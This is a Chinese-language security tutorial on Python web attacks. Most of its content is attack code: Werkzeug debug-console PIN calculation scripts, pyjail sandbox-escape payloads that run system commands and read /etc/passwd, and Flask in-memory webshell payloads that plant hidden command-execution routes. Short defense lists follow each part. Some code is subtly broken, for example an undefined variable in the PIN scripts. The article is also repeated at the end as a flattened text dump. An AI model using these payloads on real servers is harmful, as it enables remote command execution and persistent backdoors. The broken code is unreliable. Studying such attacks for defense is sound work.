PYTHON的安全问题总结
字数 1307 2025-08-22 12:22:48

Python安全漏洞与防御技术详解

一、Werkzeug Pin码攻击

1.1 漏洞原理

在Werkzeug开启debug模式时,会生成一个用于调试控制台的Pin码。该Pin码的生成基于以下因素:

  1. probably_public_bits:

    • username: 通过/etc/passwd获取
    • modname: 默认为flask.app
    • getattr(app, 'name', app.class.name): 默认为Flask
    • getattr(mod, 'file', None): Flask所在路径
  2. private_bits:

    • str(uuid.getnode()): MAC地址的十进制值
    • get_machine_id(): 从/etc/machine-id、/proc/sys/kernel/random/boot_id或/proc/self/cgroup获取

1.2 攻击方法

低版本(MD5哈希)攻击脚本

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # appname
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # moddir
]

private_bits = [
    '25214234362297',  # mac十进制值
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

高版本(SHA1哈希)攻击脚本

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
]

private_bits = [
    '2485377568585',  # /sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'  # machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

1.3 防御措施

  1. 生产环境关闭debug模式
  2. 使用最新版本Werkzeug
  3. 设置WERKZEUG_DEBUG_PIN环境变量为"off"禁用Pin码

二、Python沙盒逃逸(Pyjail)

2.1 危险函数

命令执行函数

# os
os.system('whoami')
os.popen('whoami').read()

# subprocess
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

# danger method
eval('os.system("whoami")')
exec('os.system("whoami")')

# commands (Python2)
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')

# pty
pty.spawn("ls")

2.2 导入模块方法

1. 常规导入

import os
import sys

2. __import__函数

delete = __import__("pbzznaqf".decode('rot_13'))
print delete.getoutput('ifconfig')

3. importlib库

import importlib
importlib.import_module('os').system('ls')

4. exec/eval/execfile/compile

exec("__import__('os').system('whoami')")
eval("__import__('os').system('whoami')")
execfile('/usr/lib/python2.7/os.py')  # 仅python2
system('whoami')
exec(compile("__import__('os').system('whoami')", '<string>', 'exec'))

5. with open

with open('/usr/lib/python3.6/os.py', 'r') as f:
    exec(f.read())
system('ls')

6. timeit

timeit.timeit("__import__('os').system('whoami')", number=1)

7. platform (仅Python2.7)

import platform
print(platform.popen('whoami').read())

2.3 绕过限制技巧

1. 内置模块(builtins)

# Python2
import __builtin__
__builtin__

# Python3
import builtins
builtins

2. 恢复被删除的builtins

# Python2
reload(__builtin__)

# Python3
import imp
imp.reload(__builtin__)

3. 绝对路径导入

import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os

4. 过滤sys的绕过

exec("__import__('os').system('whoami')")
eval("__import__('os').system('whoami')")
execfile('/usr/lib/python2.7/os.py')  # 仅python2
system('whoami')
exec(compile("__import__('os').system('whoami')", '<string>', 'exec'))

2.4 文件读写方法

1. file (仅Python2)

file('/etc/passwd').read()
file('demo.txt', 'w').write('xxx')

2. open

open('/etc/passwd').read()
open('demo.txt', 'w').write('xxx')

3. codecs

import codecs
codecs.open('/etc/passwd').read()
codecs.open('demo.txt', 'w').write('xxx')

2.5 高级绕过技术

1. F修饰符 (Python3.6+)

f'{__import__("os").system("whoami")}'

2. base64编码

import base64
base64.b64encode('__import__')
base64.b64encode('os')
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

3. 过滤globals的绕过

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('whoami')

2.6 常用Payload

1. 第一种遍历方式

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/shell.sh', 'w').write('/bin/bash xxxx')

2. 第二种遍历方式

# linecache利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

# __builtins__利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

# sys利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')

# os直接利用
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

三、Flask内存马

3.1 低版本实现(add_url_rule)

Payload

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
    {'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}
)

3.2 高版本实现

1. before_request

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

2. after_request

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\" global CmdResp;CmdResp=__import__( \' flask \' ).make_response(__import__( \' os \' ).popen(request.args.get( \' cmd \' )).read()) \")==None else resp)")

3. errorhandler

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")

3.3 防御措施

  1. 避免在视图函数中使用eval/exec等危险函数
  2. 对用户输入进行严格过滤
  3. 使用最新版本Flask框架
  4. 监控异常路由注册行为

四、总结

本文详细介绍了Python Web开发中常见的安全问题,包括Werkzeug Pin码攻击、Python沙盒逃逸技术和Flask内存马实现。这些技术展示了攻击者如何利用Python特性和框架漏洞获取系统权限或持久化访问。防御这些攻击需要开发者:

  1. 保持框架和依赖库更新
  2. 生产环境关闭调试模式
  3. 严格过滤用户输入
  4. 限制危险函数和模块的使用
  5. 实施最小权限原则
  6. 监控异常行为

通过理解这些攻击原理和防御措施,开发者可以构建更安全的Python Web应用。

Python安全漏洞与防御技术详解 一、Werkzeug Pin码攻击 1.1 漏洞原理 在Werkzeug开启debug模式时,会生成一个用于调试控制台的Pin码。该Pin码的生成基于以下因素: probably_ public_ bits : username: 通过/etc/passwd获取 modname: 默认为flask.app getattr(app, ' name ', app. class . name ): 默认为Flask getattr(mod, ' file ', None): Flask所在路径 private_ bits : str(uuid.getnode()): MAC地址的十进制值 get_ machine_ id(): 从/etc/machine-id、/proc/sys/kernel/random/boot_ id或/proc/self/cgroup获取 1.2 攻击方法 低版本(MD5哈希)攻击脚本 高版本(SHA1哈希)攻击脚本 1.3 防御措施 生产环境关闭debug模式 使用最新版本Werkzeug 设置WERKZEUG_ DEBUG_ PIN环境变量为"off"禁用Pin码 二、Python沙盒逃逸(Pyjail) 2.1 危险函数 命令执行函数 2.2 导入模块方法 1. 常规导入 2. __ import__ 函数 3. importlib库 4. exec/eval/execfile/compile 5. with open 6. timeit 7. platform (仅Python2.7) 2.3 绕过限制技巧 1. 内置模块(builtins) 2. 恢复被删除的builtins 3. 绝对路径导入 4. 过滤sys的绕过 2.4 文件读写方法 1. file (仅Python2) 2. open 3. codecs 2.5 高级绕过技术 1. F修饰符 (Python3.6+) 2. base64编码 3. 过滤globals的绕过 2.6 常用Payload 1. 第一种遍历方式 2. 第二种遍历方式 三、Flask内存马 3.1 低版本实现(add_ url_ rule) Payload 3.2 高版本实现 1. before_ request 2. after_ request 3. errorhandler 3.3 防御措施 避免在视图函数中使用eval/exec等危险函数 对用户输入进行严格过滤 使用最新版本Flask框架 监控异常路由注册行为 四、总结 本文详细介绍了Python Web开发中常见的安全问题,包括Werkzeug Pin码攻击、Python沙盒逃逸技术和Flask内存马实现。这些技术展示了攻击者如何利用Python特性和框架漏洞获取系统权限或持久化访问。防御这些攻击需要开发者: 保持框架和依赖库更新 生产环境关闭调试模式 严格过滤用户输入 限制危险函数和模块的使用 实施最小权限原则 监控异常行为 通过理解这些攻击原理和防御措施,开发者可以构建更安全的Python Web应用。